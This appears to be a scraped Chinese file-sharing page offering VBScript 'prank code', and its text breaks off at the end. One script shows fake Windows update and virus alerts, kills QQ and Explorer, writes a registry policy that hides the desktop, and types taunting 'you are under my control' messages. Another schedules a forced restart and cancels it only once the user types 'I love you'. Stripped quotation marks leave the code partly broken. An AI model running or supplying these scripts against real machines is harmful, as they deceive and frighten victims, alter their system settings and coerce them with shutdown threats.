[VB小程序.docVIP

注意： 一旦某些程序开启 可手动关闭进程wscript.exe 结束！ ###################vbs整人代码1################### msgbox 要求：vbcrlf1、要同时涉及3大门派vbcrlf2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理vbcrlf3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念vbcrlf4、越短越好vbcrlfvbcrlf第N天 有人来投稿 全文只有九个字:vbcrlfvbcrlf...........,0,武侠小说征文 msgbox 秃驴 敢跟贫道抢师太,64,投稿 set ws=createobject(wscript.shell) sub sleep (s) wscript.sleep s * 1000 end sub sleep 900 ws.popup windows检测到有重要更新未安装vbcrlfvbcrlf系统将在30秒后自动下载更新并安装,30,Windows Xp,64 sleep 10 ws.popup 正在下载更新......vbcrlfvbcrlf稍候将提示您安装,10,Windows Xp,64 sleep 900 ws.popup windows已将一病毒载入计算机中vbcrlfvbcrlf稍后即将运行,15,病毒,64 sleep 3 ws.run taskkill /f /im qq.exe,vbhide : sleep 5 ws.regwrite HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktopREG_DWORD wscript.sleep 500 ws.run taskkill /f /im explorer.exe,vbhide : wscript.sleep 2000 ws.run explorer.exe,vbhide : wscript.sleep 6000 ws.run notepad,3 : wscript.sleep 2000 ws.sendkeys ^ : wscript.sleep 1000 verybat=split(gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,,,) for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ###################vbs整人代码2 ################### set ierunner=createobject(wscript.shell) ierunner.run cmd /c start iexplore 自己的网站站 wscript.sleep 8000 ierunner.sendkeys %{F4} on error resume next dim WSHshellA set WSHshellA = wscript.createobject(wscript.shell) WSHshellA.run cmd.exe /c shutdown -r -t 3000 -c 快说你爱我··· ,0 ,true dim a do while(a 我爱你) a = inputbox (说你爱我,就不关机，快点，说 我爱你 ,说不说,不说,8000,7000) msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox loop msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛 dim WSHshell set WSHshell = wscript.createobject(wscript.shell) WSHshell.run cmd.exe /c shutdown -a,0 ,true msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈，真过瘾 ###################vbs整人代